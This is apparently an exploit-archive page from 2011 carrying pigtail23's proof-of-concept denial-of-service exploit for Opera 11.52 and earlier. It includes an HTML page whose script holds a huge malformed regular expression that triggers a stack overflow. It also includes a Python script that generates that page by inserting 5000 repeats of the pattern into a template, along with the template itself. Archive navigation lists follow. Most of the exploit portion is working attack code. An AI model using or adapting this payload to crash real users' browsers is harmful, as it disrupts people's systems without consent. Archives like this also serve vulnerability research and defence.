Opera 11.52 Stack Overflow

Opera 11.52 Stack Overflow: Posted Oct 20, 2011; Authored by pigtail23; Opera versions 11.52 and below proof of concept stack overflow exploit.; tags | exploit, overflow, proof of concept; SHA-256 | d8e6d58f0c40d06f09f7f9e1562cc78db5502eabbfa08a284ed2ca5e41060dd9; Download | Favorite | View

Opera 11.52 Stack Overflow

## _  (`-')  _   pigtail23   (`-')     (`-')  _   _           www.remoteshell.de ##
## \-.(OO ) (_)        .->   ( OO).->  (OO ).-/  (_)      <-.                    ##
## _.'    \ ,-(`-') ,---(`-')/    '._  / ,---.   ,-(`-'),--. )   .----.  .----.  ##
##(_...--'' | ( OO)'  .-(OO )|'--...__)| \ /`.\  | ( OO)|  (`-')\_,-.  |\_.-,  | ##
##|  |_.' | |  |  )|  | .-, \`--.  .--''-'|_.' | |  |  )|  |OO )   .' .'  |_  <  ##
##|  .___.'(|  |_/ |  | '.(_/   |  |  (|  .-.  |(|  |_/(|  '__ | .'  /_ .-. \  | ##
##|  |      |  |'->|  '-'  |    |  |   |  | |  | |  |'->|     |'|      |\ `-'  / ##
##`--'      `--'    `-----'     `--'   `--' `--' `--'   `-----' `------' `---''  ##
###################################################################################
###################################################################################
October 20, 2011
 
Number two, tomorrow may the next!? 0__o
 
The second Opera Denial of Service PoC (Stack Overflow)
 
Testsystem: WinXP SP3, Win7(64 bit)
Opera version: 11.? <= 11.52
 
###################################################################################
 
 
poc2.html:
 
<html>
<body>
<script type="text/javascript">//<![CDATA[
function addSpacesToResults(){try{for(var b=_d.getElementsByTagName("cite"),a=0;a<b.length;a++){el=b[a];firstNode=el.firstChild.nodeName;if(el.textContent.length>40&&(firstNode=="#text"||firstNode=="STRONG"))el.innerHTML=el.innerHTML.replace(/\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+
//]]></script>
<html>
<body>
 
 
###################################################################################
 
 
Python script for debugging:
 
#!/usr/bin/python
 
filename = 'poc2.html'
     
content = open('template2.html', 'r').read()
 
buff = '\.]+' * 5000
 
rc = 300
content2 = content[:rc] + buff + content[rc:]  
 
FILE = open(filename,"w")
FILE.write(content2)
FILE.close()
 
 
###################################################################################
 
 
template2.html:
 
<html>
<body>
<script type="text/javascript">//<![CDATA[
function addSpacesToResults(){try{for(var b=_d.getElementsByTagName("cite"),a=0;a<b.length;a++){el=b[a];firstNode=el.firstChild.nodeName;if(el.textContent.length>40&&(firstNode=="#text"||firstNode=="STRONG"))el.innerHTML=el.innerHTML.replace(/((^|>)[^<>]*(&|[\/\?\;\_\&\%]))/g,"TEST")}}catch(c){}}sj_be(_w,"load",addSpacesToResults);
//]]></script>
<html>
<body>

Top Authors In Last 30 Days

Red Hat 228 files
Ubuntu 55 files
Debian 27 files
LiquidWorm 11 files
Valentin Lobstein 11 files
nu11secur1ty 8 files
Google Security Research 6 files
Apple 6 files
Milad Karimi 5 files
Yevhenii Butenko 4 files

File Archives

Systems

AIX (429)
Apple (2,078)
BSD (376)
CentOS (58)
Cisco (1,927)
Debian (7,022)
Fedora (1,693)
FreeBSD (1,246)
Gentoo (4,467)
HPUX (880)
iOS (373)
iPhone (108)
IRIX (220)
Juniper (69)
Linux (49,333)
Mac OS X (691)
Mandriva (3,105)
NetBSD (256)
OpenBSD (488)
RedHat (15,578)
Slackware (941)
Solaris (1,611)
SUSE (1,444)
Ubuntu (9,460)
UNIX (9,394)
UnixWare (187)
Windows (6,650)
Other

Opera 11.52 Stack Overflow

Opera 11.52 Stack Overflow

File Archive:

April 2024

Top Authors In Last 30 Days

File Tags

File Archives

Systems

Opera 11.52 Stack Overflow

Share This

Opera 11.52 Stack Overflow

File Archive:

April 2024

Top Authors In Last 30 Days

File Tags

File Archives

Systems